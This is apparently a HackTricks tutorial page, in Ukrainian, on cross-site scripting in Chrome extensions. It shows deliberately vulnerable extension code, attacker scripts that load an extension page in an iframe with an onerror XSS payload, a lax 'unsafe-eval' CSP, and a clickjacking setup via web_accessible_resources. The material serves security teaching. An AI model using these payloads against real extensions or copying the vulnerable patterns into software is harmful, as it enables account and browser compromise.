BrowExt - XSS Example

Support HackTricks

Cross-Site Scripting (XSS) через Iframe

У цій конфігурації реалізовано контентний скрипт, який створює Iframe, використовуючи URL з параметрами запиту як джерело Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Доступна для публіки HTML-сторінка, message.html, призначена для динамічного додавання вмісту до тіла документа на основі параметрів у URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Зловмисний скрипт виконується на сторінці супротивника, модифікуючи параметр content джерела Iframe, щоб ввести XSS payload. Це досягається шляхом оновлення джерела Iframe, щоб включити шкідливий скрипт:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Занадто поблажлива політика безпеки контенту, така як:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

дозволяє виконання JavaScript, що робить систему вразливою до атак XSS.

Альтернативний підхід для провокації XSS полягає в створенні елемента Iframe і встановленні його джерела, щоб включити шкідливий скрипт як параметр content:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

Цей приклад був взятий з оригінального посту.

Основна проблема виникає з вразливості Cross-site Scripting (XSS), що базується на DOM, розташованої в /html/bookmarks.html. Проблемний JavaScript, частина bookmarks.js, детально описаний нижче:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Цей фрагмент отримує значення з поля введення txtName і використовує конкатенацію рядків для генерації HTML, який потім додається до DOM за допомогою функції .append() jQuery.

Зазвичай, Політика Безпеки Контенту (CSP) розширення Chrome запобігала б таким вразливостям. Однак, через послаблення CSP з ‘unsafe-eval’ та використання методів маніпуляції DOM jQuery (які використовують globalEval() для передачі скриптів до eval() під час вставки в DOM), експлуатація все ще можлива.

Хоча ця вразливість є значною, її експлуатація зазвичай залежить від взаємодії користувача: відвідування сторінки, введення XSS-пейлоада та активація кнопки “Додати”.

Щоб посилити цю вразливість, експлуатується вторинна вразливість clickjacking. Маніфест розширення Chrome демонструє розширену політику web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Зокрема, сторінка /html/bookmarks.html підлягає фреймінгу, отже, вразлива до clickjacking. Ця вразливість використовується для фреймінгу сторінки в межах сайту зловмисника, накладаючи на неї елементи DOM для обманного redesign інтерфейсу. Це маніпулювання призводить до того, що жертви ненавмисно взаємодіють з основним розширенням.

References

Support HackTricks

Last updated